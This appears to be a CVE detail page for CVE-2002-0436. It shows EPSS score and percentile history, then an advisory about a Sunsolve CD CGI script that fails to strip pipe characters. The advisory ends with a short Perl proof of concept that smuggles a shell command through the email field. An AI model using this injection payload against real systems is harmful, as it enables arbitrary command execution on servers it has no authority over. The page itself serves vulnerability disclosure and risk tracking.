CVE-2002-0436 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	1.25%	–
2023-04-09	–	–	–	1.54%	–
2023-08-13	–	–	–	1.54%	–
2023-08-20	–	–	–	1.54%	–
2023-08-27	–	–	–	1.54%	–
2023-10-22	–	–	–	1.69%	–
2024-02-11	–	–	–	1.69%	–
2024-04-14	–	–	–	1.69%	–
2024-06-02	–	–	–	1.69%	–
2024-12-22	–	–	–	1.86%	–
2025-01-19	–	–	–	1.86%	–
2025-03-18	–	–	–	–	5.24%
2025-03-30	–	–	–	–	3.93%
2025-03-30	–	–	–	–	3.93,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	83%
2023-04-09	85%
2023-08-13	86%
2023-08-20	85%
2023-08-27	86%
2023-10-22	86%
2024-02-11	87%
2024-04-14	88%
2024-06-02	88%
2024-12-22	88%
2025-01-19	88%
2025-03-18	89%
2025-03-30	87%
2025-03-30	87%

source: https://www.securityfocus.com/bid/4269/info The Sunsolve CD is part of the Solaris Media pack. It is included as a documentation resource, and is available for the Solaris Operating Environment. A CGI script included with the CD does not adequately sanitize input. Due to a design failure which does not remove special characters such as the pipe (|) character, a user submitting a malicious email address to the script could execute arbitrary commands with the permissions of the executing program. #!/usr/bin/perl use LWP::UserAgent; use HTTP::Request::Common qw(POST); ua = new LWP::UserAgent; $ua->agent("Scrapers"); my $req = POST 'http://sunsolveCD.box.com:8383/cd-cgi/sscd_suncourier.pl', [ step => "submit" , emailaddr => "foo\@bar.com| id > /tmp/foo|"]; $res = $ua->request($req); print $res->as_string; print "code", $res->code, "\n";